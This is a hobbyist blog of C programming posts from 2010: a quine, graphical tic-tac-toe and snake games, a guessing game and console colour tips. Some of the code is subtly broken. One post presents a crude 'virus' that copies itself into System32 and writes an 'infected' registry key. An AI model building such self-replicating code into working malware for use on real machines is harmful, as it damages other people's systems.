Showing posts with label "c" tricks. Show all posts
Showing posts with label "c" tricks. Show all posts

Sunday, November 21, 2010

Program to Print it’s Own Source Code

hello friends!!!
Here is a C program to print it’s own source code. That is the output of this program is exactly same as it’s source code. Here’s the program
#include
char *program=”#include%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”;
void main()
{
printf(program,10,34,program,34,10,10,10,10);
}

Sunday, October 24, 2010

make tic tac toe in c using graphic

hello friends!!!
after attending workshop in KU, finally i have learned
how to use graphic in c....
now here is a program
how to make tic tac toe game in c using graphic.
some months ago i posted how to make tic tac toe in c,
but in this i did not use any graphic.
now here is game using graphic.....  
 
Level - Intermediate
Here you will learn how to create a game called Tic Tac Toe through C . Tic Tac Toe is a very old game, nobody knows its origin but its so simple thier is even a probability that early man had its own version of the game.All you have to do is to get your three symbol in straight line. Tic Tac Toe game using C is relatively easy to program and beginners can give it a shot if they undestand carry on otherwise read the basic tutorials first and then comeback and learn how to create there very own tic tac toe game using C.

Graphic Library Used - Turbo C/C++ Bgi
Operating System Used - Windows XP Professional
Contents -
1. Requirements
2. Getting Started
3. Coding Main
4. Intializing Graphics
5. Game Data

6. Board Intilization
7. Mapping Board
8. Game Engine
9. Taking Input
10. Computer Move using AI
11. Checking Winner
12. Final Words
13. What Next?
1. Requirements
From Programming point of view i am assuming you have some knowledge of C and we will build this program from scratch for better understanding . If you absolute beginner check this out if you dont understand go through basic tutorials first.
But before you start you need some tools. You must install Turbo C++ 3.0 IDE and install it in folder C:\TC (Please Choose same directory name and drive if you are beginner). Thats all now you are all done to start your games programming fantasies.

2. Getting Started
Go to C:\TC\Bin there you will find a executable file called TC execute it and IDE will load itself.
Now go to File Menu and choose New.
Now Press F2 to save the file. Give it name tictacto.c (only 8 character filename is allowed).
Now you are all set to rock. The screen should be something like this -
 
3. Coding Main
First Thing a program should do is to include header files and code main only header we will be needing is graphics.h and conio.h. Including unnecessary header files increase the size of the code and compile time. Next we create an parameterless int returning main with no code at present. Your Code should look like this -
#include 
#include


int main ()
{
return 0;
}
4. Intializing Graphics 
Now we intialise graphics in main, stop for a key press and then close the graphics. When we stop you should se a blank page and not any error. If you face an error make sure your installation path is correct. All our game activity occurs in this opening and closing of graphics. It will generally give you a 640*480 mode with VGA graphics. These graphics are good enough to code any descent looking games. If you get different settings try to set them as above. Your code should be now -
 

#include 
#include

int main ()
{
int gdriver = DETECT, gmode;
initgraph(&gdriver, &gmode, "c:\\tc\\bgi"); // Intializes Graphics
getch (); // Key Press
closegraph (); // Close Graphics
return 0;
}
5. Game Data 
Now we create data your game needs . In this game we need following data -
We need a 2D 3 X 3 Matrix To Store the board. Each member of the board contains one the three values -
'O' if there is a zero at that place.
'X' if there is a cross at that place
'*' if there is no element at that place ie. placed has not yet been filled.
Now accomodating storage our code becomes -

 #include 
#include

char board [3] [3]; // Remeber Indexing Starts at Zero.


int main ()
{
int gdriver = DETECT, gmode;
initgraph(&gdriver, &gmode, "c:\\tc\\bgi"); // Intializes Graphics
getch (); // Key Press
closegraph (); // Close Graphics
return 0;
}
6. Board Initialization 
Now we create a function which intializes the entire board to '*'.
This indicates that no block is filled.
We use a function called initiateboard called in main to do this job for us.
#include 
#include
char board [3] [3]; // Remeber Indexing Starts at zero
void initiateboard ()
{
int i,j;
for (i = 0; i <= 2 ; i++)
{
for (j = 0; j <= 2; j++)
{
board [i] [j] = '*';
}
}
}
int main ()
{
int gdriver = DETECT, gmode;
initgraph (&gdriver, &gmode, "c:\\tc\\bgi");
initiateboard ();
getch ();
closegraph ();
return 0;
}
 
7. Mapping Board
This is a very important function in our program. Its job is to create a graphical image of the game form the data array board.
It first clears all the graphics on the present screen.
Then its initate the graphics and redraw the entire screen.
First the function draws the border lines. Then it draws a cross, a circle or nothing depending upon the values in the array.
It uses function drawcircle and drawcross to draw circles and cross respectively. These function take input value 0 to 9 depending upon the array positon to decide what to draw.
This function is first called in intialisation but will be called several times
Here some screenshot of the game developed till now -
C Tic Tac Toe

We call this function mapboard and our code now becomes -
#include 
#include
char board [2] [2]; // Remeber Indexing Starts at zero
void drawcircle (int position) // Draws a circle on basis of Input use mathematics reduce complexity
{
int centrex;
int centrey;
centrex = 245 + (50*(position%3)) + 25;
centrey = 165 + (50*(position/3)) + 25;
fillellipse (centrex,centrey, 10,10);
}
void drawcross (int position)
{
int centrex;
int centrey;
centrex = 245 + (50*(position%3)) + 25;
centrey = 165 + (50*(position/3)) + 25;
line (centrex-5,centrey+5,centrex+5,centrey-5);
line (centrex+5,centrey+5,centrex-5,centrey-5);

}
void mapboard ()
{
int gdriver = DETECT, gmode;
int i,j;
closegraph ();
initgraph (&gdriver, &gmode, "c:\\tc\\bgi");
// Draw 4 Lines to Form Board
line (295,165,295,315);
line (345,165,345,315);
line (245,215,395,215);
line (245,265,395,265);
for (i = 0; i <= 2; i++)
{
for (j = 0; j <= 2; j++)
{
if ( board [i] [j] == 'X') drawcross (3*i + j);
if ( board [i] [j] == 'O') drawcircle (3*i + j);
}
}
outtextxy (40,472,"Remove This Line by Learn Coding It yourself at www.cencyclopedia.com");

}
void initiateboard ()
{
int i,j;
for (i = 0; i <= 2 ; i++)
{
for (j = 0; j <= 2; j++)
{
board [i] [j] = '*';
}
}
mapboard ();
}
int main ()
{
int gdriver = DETECT, gmode;
initgraph (&gdriver, &gmode, "c:\\tc\\bgi");
initiateboard ();
getch ();
closegraph ();
return 0;
}
8. Game Engine -
Now we design a game engine for this game. This Game engine will contain an which end after 5 Users moves assuming user moves first. Now our game engine must do the following jobs in one sequence.
1. Take user input .
2. Place user move on board.
3. Calculate computer move.
4. Place computer move on board.
5. Refresh Screen for next round.
6. Check wether there is a winner.
we use fuction play to be name of our game engine and game exits when the function exits. This function is called once in main.
Now we have designed mapboard function in such a way that it can be used to refresh screen and can do the 5th job. We discuss the rest next.
9. Taking Input
We create a function name input which does the first two jobs of our game engine. It takes user input and if valid place that on to the data.
User is asked to input X coordinate (1 - 3) and Y coordinate (1 - 3).
If in our data board [X-1] and [Y-1] position is '*' then we place a 'X' There otherwise reprompt for input.
Here is a screenshot of the Game Developed Till Now -



Tic Tac Toe C PRogramming

                
 Code Now Becomes -

#include
#include

char board [3] [3]; // Remeber Indexing Starts at zero

void drawcircle (int position) // Draws a circle on basis of Input use mathematics reduce complexity

{
int centrex;
int centrey;
centrex = 245 + (50*(position%3)) + 25;
centrey = 165 + (50*(position/3)) + 25;
fillellipse (centrex,centrey, 10,10);
}

void drawcross (int position)

{
int centrex;
int centrey;
centrex = 245 + (50*(position%3)) + 25;
centrey = 165 + (50*(position/3)) + 25;
line (centrex-5,centrey+5,centrex+5,centrey-5);
line (centrex+5,centrey+5,centrex-5,centrey-5);
}

void mapboard ()


{
int gdriver = DETECT, gmode;
int i,j;
closegraph ();
initgraph (&gdriver, &gmode, "c:\\tc\\bgi");

// Draw 4 Lines to Form Board
line (295,165,295,315);
line (345,165,345,315);
line (245,215,395,215);
line (245,265,395,265);
for (i = 0; i <= 2; i++)
{
for (j = 0; j <= 2; j++)
{
if ( board [i] [j] == 'X') drawcross (3*i + j);
if ( board [i] [j] == 'O') drawcircle (3*i + j);
}
}
outtextxy (40,472,"Remove This Line by Learn Coding It yourself at www.cencyclopedia.com");
}

void initiateboard ()


{
int i,j;
for (i = 0; i < 3 ; i++)
{
for (j = 0; j < 3; j++)
{
board [i] [j] = '*';
putchar (board [i] [j]);
}
}
mapboard ();
}

void input ()

{
int x,y;
printf ("\nEnter X Coordinate - ");
scanf ("%d",&x);
printf ("\nEnter Y Coordinate - ");
scanf ("%d", &y);
if (board [x-1] [y-1] == '*')
{
board [x-1] [y-1] = 'X';
}
else
{
mapboard ();
printf ("\nWrong Coordinates");
input ();
}
}

void play () // Ladies and Gentleman I give you our game engine.

{
int i;
for (i = 0; i<5;i++)
{
input ();
mapboard ();
}
}

int main ()

{
int gdriver = DETECT, gmode;
initgraph (&gdriver, &gmode, "c:\\tc\\bgi");
initiateboard ();
play ();
getch ();
closegraph ();
return 0;
}
10. Computer Move Using AI 
Now after user move we need to make the computer move. Since this first version of the Article we will be using simple AI which maybe stupid but is AI nevertheless.
Our AI starts from the first box and where ever it finds first empty space it puts a zero. Is that complicated, well its not because its AI at its badest. May be we can improve this in next version.
We call this function computer.
Now Code Becomes -
#include 
#include
char board [3] [3]; // Remeber Indexing Starts at zero
void drawcircle (int position) // Draws a circle on basis of Input use mathematics reduce complexity
{
int centrex;
int centrey;
centrex = 245 + (50*(position%3)) + 25;
centrey = 165 + (50*(position/3)) + 25;
fillellipse (centrex,centrey, 10,10);
}
void drawcross (int position)
{
int centrex;
int centrey;
centrex = 245 + (50*(position%3)) + 25;
centrey = 165 + (50*(position/3)) + 25;
line (centrex-5,centrey+5,centrex+5,centrey-5);
line (centrex+5,centrey+5,centrex-5,centrey-5);

}
void mapboard ()
{
int gdriver = DETECT, gmode;
int i,j;
closegraph ();
initgraph (&gdriver, &gmode, "c:\\tc\\bgi");

// Draw 4 Lines to Form Board
line (295,165,295,315);
line (345,165,345,315);
line (245,215,395,215);
line (245,265,395,265);
for (i = 0; i <= 2; i++)
{
for (j = 0; j <= 2; j++)
{
if ( board [i] [j] == 'X') drawcross (3*i + j);
if ( board [i] [j] == 'O') drawcircle (3*i + j);
}
}
outtextxy (40,472,"Remove This Line by Learn Coding It yourself at www.cencyclopedia.com");
}
void initiateboard ()


{

int i,j;
for (i = 0; i < 3 ; i++)
{
for (j = 0; j < 3; j++)
{
board [i] [j] = '*';
putchar (board [i] [j]);
}
}
mapboard ();
}
void input ()
{
int x,y;
printf ("\nEnter X Coordinate - ");
scanf ("%d",&x);
printf ("\nEnter Y Coordinate - ");
scanf ("%d", &y);
if (board [x-1] [y-1] == '*')
{
board [x-1] [y-1] = 'X';
}
else
{
mapboard ();
printf ("\nWrong Coordinates");
input ();
}
}
void computer ()


{
int i,j;
for (i = 0; i < 3; i++)
for (j = 0; j < 3; j++)
{
if (board [i] [j] == '*')
{
board [i] [j] = 'O';
return;
}
}
}
void play () // Ladies and Gentleman I give you our game engine.


{
int i;
for (i = 0; i<5;i++)
{
input ();
computer ();
mapboard ();
}
printf ("\n\nGAME DRAW");
}
int main ()
{

int gdriver = DETECT, gmode;
initgraph (&gdriver, &gmode, "c:\\tc\\bgi");
initiateboard ();
play ();
getch ();
closegraph ();
return 0;
}
11. Checking Winner 
Now last thing our gameengine must do is to see wether we have a winner or not.
This function use a flag variable key (arbitary name) which is initialise to '*'
Then our function checks all possible combination of winning and if it finds a character other than '*' in series of 3 it sets key value to it.
Then we calculate wether player wins, computer wins or nobody wins and game is still on.
Here is a final screenshot -
Tic Tac Toe In C

Now here is the final code of this version -

#include
#include
          

char board [3] [3]; // Remeber Indexing Starts at zero

void drawcircle (int position) // Draws a circle on basis of Input use mathematics reduce complexity
{
  int centrex;
  int centrey;
  centrex = 245 + (50*(position%3)) + 25;
  centrey = 165 + (50*(position/3)) + 25;
  fillellipse (centrex,centrey, 10,10);
}

void drawcross (int position)


{  
  int centrex;
  int centrey;
  centrex = 245 + (50*(position%3)) + 25;
  centrey = 165 + (50*(position/3)) + 25;
  line (centrex-5,centrey+5,centrex+5,centrey-5);
  line (centrex+5,centrey+5,centrex-5,centrey-5);
}

void mapboard ()


{
 int gdriver = DETECT, gmode;
 int i,j;
 closegraph ();
 initgraph (&gdriver, &gmode, "c:\\tc\\bgi");
 
 // Draw 4 Lines to Form Board
 line (295,165,295,315);
 line (345,165,345,315);
 line (245,215,395,215);
 line (245,265,395,265);
 for (i = 0; i <= 2; i++)
    {
      for (j = 0; j <= 2; j++)
         {
           if ( board [i] [j]  == 'X') drawcross (3*i + j);
           if ( board [i] [j]  == 'O') drawcircle (3*i + j);
         }
    }
outtextxy (40,472,"Remove This Line by Learn Coding It yourself at www.cencyclopedia.com");
}

void initiateboard ()


{
  int i,j;
  for (i = 0; i < 3 ; i++)
    {
      for (j = 0; j < 3; j++)
        {
           board [i] [j] = '*';
           putchar (board [i] [j]);
        }
    }
mapboard ();
}

void input ()

{
  int x,y;
  printf ("\nEnter X Coordinate - ");
  scanf ("%d",&x);
  printf ("\nEnter Y Coordinate - ");
  scanf ("%d", &y);
  if (board [x-1] [y-1] == '*')
   {
     board [x-1] [y-1] = 'X';
   }
  else
   {
     mapboard ();
     printf ("\nWrong Coordinates");
     input ();
   }
}

void computer ()


{
  int i,j;
  for (i = 0; i < 3; i++)
    for (j = 0; j < 3; j++)
      {
        if (board [i] [j] == '*')
          {
            board [i] [j] = 'O';
            return;
          }
      }
}

void check ()

{
  int i;
  char key = '*';
   
  // Check Rows
  for (i=0; i<3;i++)
         if (board [i][0] == board [i] [1] && board [i][0] == board [i] [2] && board [i] [0] != '*') key = board [i] [0];
  
 // Check Columns
 for (i=0; i<3;i++)
        if (board [0][i] == board [1] [i] && board [0][i] == board [2] [i] && board [0] [i] != '*') key = board [0] [i];
        
 // Check Diagonals
 if (board [0][0] == board [1] [1] && board [1][1] == board [2] [2] && board [1] [1] != '*') key = board [1] [1];
 if (board [0][2] == board [1] [1] && board [1][1] == board [2] [0] && board [1] [1] != '*') key = board [1] [1];

//Declare Winner if any

if (key == 'X')
       {
         printf ("You Win");
         getch ();
         exit ();
       }

if (key == 'O')
       {
         printf ("Computer Win");
         getch ();
         exit ();
      }
}

void play () // Ladies and Gentleman I give you our game engine.


{
  int i;
  for (i = 0; i<5;i++)
    {
      input ();
      computer ();
      mapboard ();
      check ();
    }
printf ("\n\nGAME DRAW");
}

int main ()

{
  int gdriver = DETECT, gmode;
  initgraph (&gdriver, &gmode, "c:\\tc\\bgi");
  initiateboard ();
  play ();
  getch ();
  closegraph ();
  return 0;
}

 

Friday, October 1, 2010

how to make SNAKE game in c/c++

hello friends today i will show you how to make a snake game in c.
i thinks game code is too long, so just copy past it....
enjoy coding in c....!!!!
Here is the required informations:


// Header Files

#include
#include

// Macros
#define LEFT 1
#define RIGHT 2
#define UP 3
#define DOWN 4

//Game Data

int score; //Keeps the count of game score
int gamedelay;//Lower the game delay faster is the game speed.

struct Snake_Data {

int length;
int head_x; // Stores Head X Coordinate
int head_y; // Stores Head Y Coordinate
int head_dir; // Stores Head Direction
int tail_x; // Stores Tail X Coordinat
int tail_y; // Stores Tail Y Coordinat
int tail_dir; // Stores Tail Direction
int bend_x [1000]; //Stores X Bend Coordinate Declare it big enough to accomodate maximum bends
int bend_y [1000];
int bend_dir [1000]; // Stores Bend direction when tail reaches that X Coordinate
} Snake; // Declares a variable of the structure

// User - Defined functions -

int randomvalue (int starting, int ending) // Return a random int value between end and starting parameters

{
static int previous = 0;
int answer;
if (previous <0) previous = 0;
int difference = starting - ending;
time_t t;
srand((unsigned) time(&t));
for (int i = 0; i
answer = (rand () % difference);
previous++;
return answer;
}

void gamephysics ()
{
static int foodcount = 0;//Keep Count of food
int futurex, futurey, futurepixel;
int i;
char scorestring [100];
if (foodcount < 500) //Adds a food if no food is present and upto maximum 500 food
{
int valid = 0;
int foodx;
int foody;
while (!valid)
{
foodx = randomvalue (15,1003);
foody = randomvalue (15,695);
if (getpixel (foodx,foody)!= 15)
{
putpixel (foodx,foody,2);
foodcount++;
valid = 1;
}

}
}

//Boundary Collision Check -

if (Snake.head_x <= 10 || Snake.head_x >= 1008 || Snake.head_y <= 10 || Snake.head_y >= 700)
{
outtextxy (499,345, "Game Over");
delay (3000);
exit (1);
}

//Get future value of head in int variable futurex and futurey and calculate the logic

futurex = Snake.head_x;
futurey = Snake.head_y;
if (Snake.head_dir == LEFT)
{
futurex --;
}
if (Snake.head_dir == RIGHT)
{
futurex ++;
}
if (Snake.head_dir == UP)
{
futurey --;
}
if (Snake.head_dir == DOWN)
{
futurey ++;
}
futurepixel = getpixel(futurex,futurey);

if (futurepixel == 2)//Food Eaten
{
foodcount --; //Reduce count
score++; //Increase Score
setcolor (0);//Rewrite Score
setfillstyle (0,0);
bar (11,701,1007, 735);
setcolor (4);
sprintf (scorestring, "Score : %d", score);
outtextxy (20,710, scorestring);
//Increase the size of snake by 100 pixel you can put as much as you want
if (Snake.tail_dir == UP)
{
for (i = 0; i<101;i++) putpixel (Snake.tail_x,Snake.tail_y+i,15);
Snake.tail_y +=100;
}
if (Snake.tail_dir == DOWN)
{
for (i = 0; i<101;i++) putpixel (Snake.tail_x,Snake.tail_y-i,15);
Snake.tail_y -=100;
}
if (Snake.tail_dir == LEFT)
{
for (i = 0; i<101;i++)
putpixel (Snake.tail_x+i,Snake.tail_y,15);
Snake.tail_x +=100;
printf ("LEFT");
}
if (Snake.tail_dir == RIGHT)
{
for (i = 0; i<101;i++)
putpixel (Snake.tail_x-i,Snake.tail_y,15);
Snake.tail_x -=100;
printf ("RIGHT");
}

}
if (futurepixel == 15)
{
outtextxy (499,345, "Game Over");
delay (3000);
exit (1);
}

}



void userinput () //Process User Input and maps it into game
{
static int i = 0;
if ( i > 1000) i = 0; // Makes the bend array a circular queue
static int j = 0;
if ( j > 1000) j = 0;
char input;
if (kbhit ())
{
input = getch ();
//Change Respective Return value to our MACRO Direction Code Value
if (input == 80) input = DOWN;

if (input == 72) input = UP;

if (input == 75) input = LEFT;

if (input == 77) input = RIGHT;




//Change head direction based on logic

if (input == LEFT && Snake.head_dir != RIGHT && Snake.head_dir != LEFT)
{
Snake.head_dir = LEFT;
Snake.bend_x [i] = Snake.head_x;
Snake.bend_y [i] = Snake.head_y;
Snake.bend_dir [i] = LEFT;
i++;
}
if (input == RIGHT && Snake.head_dir != LEFT && Snake.head_dir != RIGHT)
{
Snake.head_dir = RIGHT;
Snake.bend_x [i] = Snake.head_x;
Snake.bend_y [i] = Snake.head_y;
Snake.bend_dir [i] = RIGHT;
i++;
}
if (input == UP && Snake.head_dir != DOWN && Snake.head_dir != UP)
{
Snake.head_dir = UP;
Snake.bend_x [i] = Snake.head_x;
Snake.bend_y [i] = Snake.head_y;
Snake.bend_dir [i] = UP;
i++;
}
if (input == DOWN && Snake.head_dir != UP && Snake.head_dir != DOWN)
{
Snake.head_dir = DOWN;
Snake.bend_x [i] = Snake.head_x;
Snake.bend_y [i] = Snake.head_y;
Snake.bend_dir [i] = DOWN;
i++;
}


}

//Code to change the y direction at respective time
if (Snake.tail_x == Snake.bend_x [j] && Snake.tail_y == Snake.bend_y [j])
{
Snake.tail_dir = Snake.bend_dir [j];
j++;
}

}

void movesnake ()
{
//Move the Head
if (Snake.head_dir == LEFT)
{
Snake.head_x --;
}
if (Snake.head_dir == RIGHT)
{
Snake.head_x ++;
}
if (Snake.head_dir == UP)
{
Snake.head_y --;
}
if (Snake.head_dir == DOWN)
{
Snake.head_y ++;
}
putpixel (Snake.head_x, Snake.head_y,15);

//Move the Tail
putpixel (Snake.tail_x, Snake.tail_y,0);
if (Snake.tail_dir == LEFT)
{
Snake.tail_x --;
}
if (Snake.tail_dir == RIGHT)
{
Snake.tail_x ++;
}
if (Snake.tail_dir == UP)
{
Snake.tail_y --;
}
if (Snake.tail_dir == DOWN)
{
Snake.tail_y ++;
}


}


void gameengine ()//Soul of our game.
{
while (1)
{
movesnake ();
userinput ();
gamephysics ();
delay (5);
}

}

void initscreen ( ) //Draws Intial Screen.
{
int i;
char scorestring [100];
//Draw Boundary
setcolor (4);
line (10,10,10,700);
line (1008,10,1008,700);
line (10,700,1008,700);
line (10,10,1008,10);
//Write Score on scree
sprintf (scorestring, "Score : %d", score);
outtextxy (20,710, scorestring);
//Draw Intial Snake Body
for (int i = Snake.length; i>0;i--) //This part should be redesigned for change of code of intial values
{
putpixel (Snake.head_x-i,Snake.head_y,15);
}
}

void initgamedata ( ) //Snakes starting coordinate if you modify any one make sure also modify dependent values
{
int i;
Snake.length = 100;
Snake.head_x = 200;
Snake.head_y = 200;
Snake.head_dir = RIGHT;
Snake.tail_x = Snake.head_x- Snake.length;
Snake.tail_y = Snake.head_y;
Snake.tail_dir = Snake.head_dir;
for (int i = 0; i <1000;i++) // There is no bend initally
{
Snake.bend_x[i] = 0;
Snake.bend_dir[i] = 0;
}
score = 0;
gamedelay = 1000; // Should be change according to game speed need.

}

// Main Function

int main ()

{
initwindow(1018, 736,"Snake 1.0"); // Create the Snake Window with value is optimize for mode 1024 * 768
initgamedata ();
initscreen ();
gameengine ();
return 0;
}


Thanks.

Friday, June 25, 2010

make a virus using c++

hello friends, after many days here is a new trick related with c++
nw u can make virus using c++
bt please dont destroy friends pc......
a c++ virus:

#include windows.h
#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

char pathname[256];
HKEY hKey;


GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

}
princy gupta
mmec

Saturday, May 8, 2010

C Program to Print the Entered Number in Words

The following C program print’s the entered number in words.For example if the number entered is 12345 then the program prints the entered number in words as One Two Three Four Five








#include
void main()
{
int i=0;
unsigned long int digit;
char str[12],ch;
puts(“Enter the number (less than 10 digit)”);
scanf(“%lu”,&digit);
ultoa(digit,str,10); /*converts an unsigned long int to string*/
while(str[i]!=’\0′)
{
ch=str[i];
i++;
switch(ch)
{
case ‘1′:
printf(“ONE “);
break;
case ‘2′:
printf(“TWO “);
break;
case ‘3′:
printf(“THREE “);
break;
case ‘4′:
printf(“FOUR “);
break;
case ‘5′:
printf(“FIVE “);
break;
case ‘6′:
printf(“SIX “);
break;
case ‘7′:
printf(“SEVEN “);
break;
case ‘8′:
printf(“EIGHT “);
break;
case ‘9′:
printf(“NINE “);
break;
case ‘0′:
printf(“ZERO “);
break;
}
}
}
posted by: MANMOHIT ARYA
MMEC

Friday, May 7, 2010

guessing game in c

This is a small guessing game written in C.In this guessing game you have to guess a number between 0 & 100.You have 8 chances to do that.Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low.Based on this hint you have to guess the number in the remaining attempts.Here’s the code


#include
#include
#include

void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}
princy gupta
mmec(computers)

Friday, April 30, 2010

HoW To CHANGE COLOR OF OUTPUT SCREEN IN C

Hii frnds.... whenever u run any C program, you finds that the color of
output screen is black...! you can change its color.... its very easy..
you have to follow only few steps.......

  • Open the FILE menu



  • Click on Dos-shell



  • Now type COLOR ?



  • Now type the color combination (example-"color 1c")



  • Now type exit

    now the color of output screen has been changed.........
    POSTED BY: MANMOHIT ARYA
  • Tuesday, April 27, 2010

    HOW TO GET THE COLOURED OUTPUT IN C

    Whenever you run a C program, you have seen that the output format is of WHITE color.. but now you can change its colour, its so simple...
    EXAMPLE:-


    #include
    #include
    void main()
    {
    textcolor(4);
    cprintf("HELLO");
    getch();
    }

    POSTED BY: MANMOHIT ARYA